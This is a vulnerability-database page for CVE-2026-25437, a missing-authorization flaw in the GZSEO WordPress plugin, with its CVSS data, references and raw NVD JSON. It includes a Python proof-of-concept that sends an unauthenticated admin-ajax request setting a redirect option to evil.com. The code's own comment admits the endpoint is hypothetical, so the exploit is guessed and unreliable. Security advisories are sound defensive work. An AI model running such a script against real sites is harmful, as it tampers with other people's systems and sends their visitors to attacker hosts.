CVE-2026-25437

Description

Missing Authorization vulnerability in سید محمدامین هاشمی GZSEO gzseo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GZSEO: from n/a through <= 2.0.14.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

GZSEO <= 2.0.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept for CVE-2026-25437
import requests

def exploit(target_url):
    # Vulnerable endpoint example (hypothetical based on plugin structure)
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload to exploit missing authorization
    payload = {
        "action": "gzseo_save_options", 
        "setting_key": "malicious_redirect",
        "setting_value": "http://evil.com"
    }
    
    headers = {
        "User-Agent": "CVE-2026-25437-Scanner",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    try:
        response = requests.post(endpoint, data=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print("[+] Potential exploitation successful. Check response.")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25437
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25437
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25437/
[4] VulDB https://vuldb.com/cve/CVE-2026-25437
[5] https://patchstack.com/database/Wordpress/Plugin/gzseo/vulnerability/wordpress-gzseo-plugin-2-0-11-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25437", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:50.860", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in سید محمدامین هاشمی GZSEO gzseo allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects GZSEO: from n/a through <= 2.0.14."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en ??? ???????? ????? GZSEO gzseo permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a GZSEO: desde n/a hasta <= 2.0.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gzseo/vulnerability/wordpress-gzseo-plugin-2-0-11-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}